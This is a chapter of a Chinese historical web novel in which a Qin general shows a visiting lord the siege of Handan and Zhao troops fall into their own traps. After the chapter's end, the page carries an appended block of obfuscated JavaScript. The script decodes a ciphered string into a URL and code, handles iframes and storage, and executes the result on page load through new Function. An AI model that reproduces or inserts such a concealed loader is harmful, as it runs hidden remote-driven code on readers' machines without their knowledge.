杨端和悻悻的缩了缩脖子,还是一副虚心请教的样子。
言晏还是满足了杨端和的好奇,将事情解释了一遍。
“赵国……”杨端和都不知道该怎么形容了,“该灭了!”
先来一手临阵换将,逼死主将,再来一次暗杀主将!
这样大军都能不溃散的亘古从未有过。
“谁说不是呢!”言晏认同的的点头。
他承认他在这事件中添了把火,但是也不至于让大军溃散得如此彻底。
要没有赵国的两波操作,有点能力的主将都能将大军拉住。
他不过是一个诱因而已,根本问题还是出在赵国身上。
若没有赵国的两波操作,言晏再怎么弄,也不会让大军直接就地解散。
“天予不取,反受其害啊!”杨端和正了正色。
这是上天都在庇佑大秦啊。
内忧外患的赵国,还怎么活得下去呢?
“不说这些,孤此行是想看看你们是怎么攻城的!”言晏转移了话题。
草原大战和中原的攻坚战还是很多不一样的。
草原大战结束从来都很快,不会拖上一年,冬季之前都会结束。
可是中原大战,向来都是拖上个好几年,最短的也要半年往上。
除了因为城池高大以外,还是因为城池能够储备粮草,进行旷日持久的大战。
可是一般建城也都会选择易守难攻的地带进行修建,也因此,想要攻下一座城,哪怕是小城都需要好几日才能做到。
一城一城相连,也就能够拖住敌人进攻的脚步。
就像王翦现在也还要在涉城下死磕,之后还要在武安城再被拦住一次一样。
他们是真的想快也快不起来。
草原就不一样,没有高大城池,也没有那么多人口,一场仗几乎只需要两到三天就能结束,快一点的用时辰算都可以。
打完就继续前行,根本不用逗留留守。
所以,言晏是真的好奇攻城攻坚战是怎么打的。
在中军,能学到的不多,尤其是王翦都喜欢有大势压人,根本看不出什么技术含量。
杨端和就不一样,他属于是一支偏师,要以偏师挟制邯郸,这就非常有技术含量了。
“其实也没什么好学的!”杨端和摆了摆手,“这东西有手就行!”
“哈?”言晏愣住了,这么凡尔赛的?
“攻城没什么可取巧的,就是比谁更持久。”杨端和笑着说道。
攻城战和野战不一样,野战以奇居多,但是攻城就是正面对攻,撑得住的就是胜者。
“那也是有些东西可以学的!”言晏毫不懈怠,虚心请教。
草原现在可能没有这种攻城战,但是未来呢?
高阙塞军事学院也不能只教骑兵吧?
偏科可不是好事!
这可是一群灭国名将的真实案例做教材啊,错过这次机会,可再没有下一次了。
“真的没什么好看的,也就是,白天他们出城修缮防御工事,晚上我们去破坏,然后他们再重修,我们再破坏,一直等到中军主力抵达,再开始硬碰硬。”杨端和不是不想教,而是真的没什么可以教的。
攻城战、攻坚战这种东西,本身就没有太多可以操作的空间,比拼的就是双方的硬实力。
顶多就是主将能稳住军心,振奋士气之类的。
言晏依旧不死心。
并州缺的并不是士气、军心这些东西,他们缺的是怎么修建布置防御工事,怎么破坏这些工事的小而细的细节的东西和经验。
这些东西在中原看来是有手就行,但是对并州来说,他们真不会啊。
草原大战就是双方骑兵直来直往的冲锋,对砍。
至于防御,乏善可陈啊。
“好吧!既然并君想看,末将就带君上去看看吧!”杨端和拗不过言晏,只能带着言晏前往邯郸城下去看赵国怎么修筑防御工事的,等到晚上再带他去看自己怎么破坏防御工事。
“?”
然而等他们悄咪咪地摸到邯郸城下,准备看邯郸的守军出来布防时,却被言晏的一幕震惊到了。
只见邯郸城外的大地上,一个个陷马坑、陷阱中都落下了不少赵国士兵,惨叫声连连。
“你们派人袭击他们了?”言晏看向了杨端和,好家伙,跟我还藏着掖着是吗?
杨端和更加迷茫了,大军没到,他根本不敢去挑衅邯郸守军啊,而且因为要迎接并君,这两天他都没有安排任何军事行动,也没有去阻止邯郸守军出来布置陷阱和防御工事啊。
可是眼前落入陷马坑和各种陷阱中的赵国士兵又做不得假啊。
“自己跳陷阱测试自己布置的陷阱的效果?”杨端和想了很久,也只能想到这個解释。
可是也不对啊,谁家测试陷阱需要这么逼真啊,直接用真人来模拟触发陷阱的状态。
“天杀杨端和,你没来破坏陷阱!”就在杨端和迷茫之际,散乱的赵军中发出了一声怒吼。
杨端和听出了声音的主人是谁,邯郸守军的工兵营校尉赵翼大。
“我好像知道了原因!”杨端和迟疑的说道。
言晏一脸的好奇,自己一来,就能见到如此场面,该说不说,杨端和是真有两把刷子的。
“我们在邯郸城下游弋也有一段时间了,这段时间呢,邯郸白天出来修筑防御工事、布置陷阱,我们则是睡觉,等到晚上我们出来破坏陷阱和防御工事,邯郸则是睡觉。”
“双方保持着绝对的默契,虽然一开始邯郸也阻止过我们搞破坏,但是我带来的都是骑兵,跑得快,他们追不上。”
“所以后来即便知道我们夜里会来搞破坏,邯郸也都默认了。”
“总之就是,你修我坏,我坏你修,莫名的有了默契。”
杨端和解释着。
言晏点了点头,建设和破坏,双方都有了默契,而且夜间作战,真不见得邯郸能打得过杨端和。
可是眼前这是什么情况呢?
“因为事先知晓并君要来,所以,这两日我没有让士兵出来破坏邯郸修筑的防御和陷阱……”杨端和诡异的笑着说道。
“……”言晏懂了。
秦军这两天没有来破坏陷阱,结果赵国还以为陷马坑、暗钉等陷阱都被秦军给破坏了,所以根本没有任何谨慎,自己掉进了自己布下的陷阱中。
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();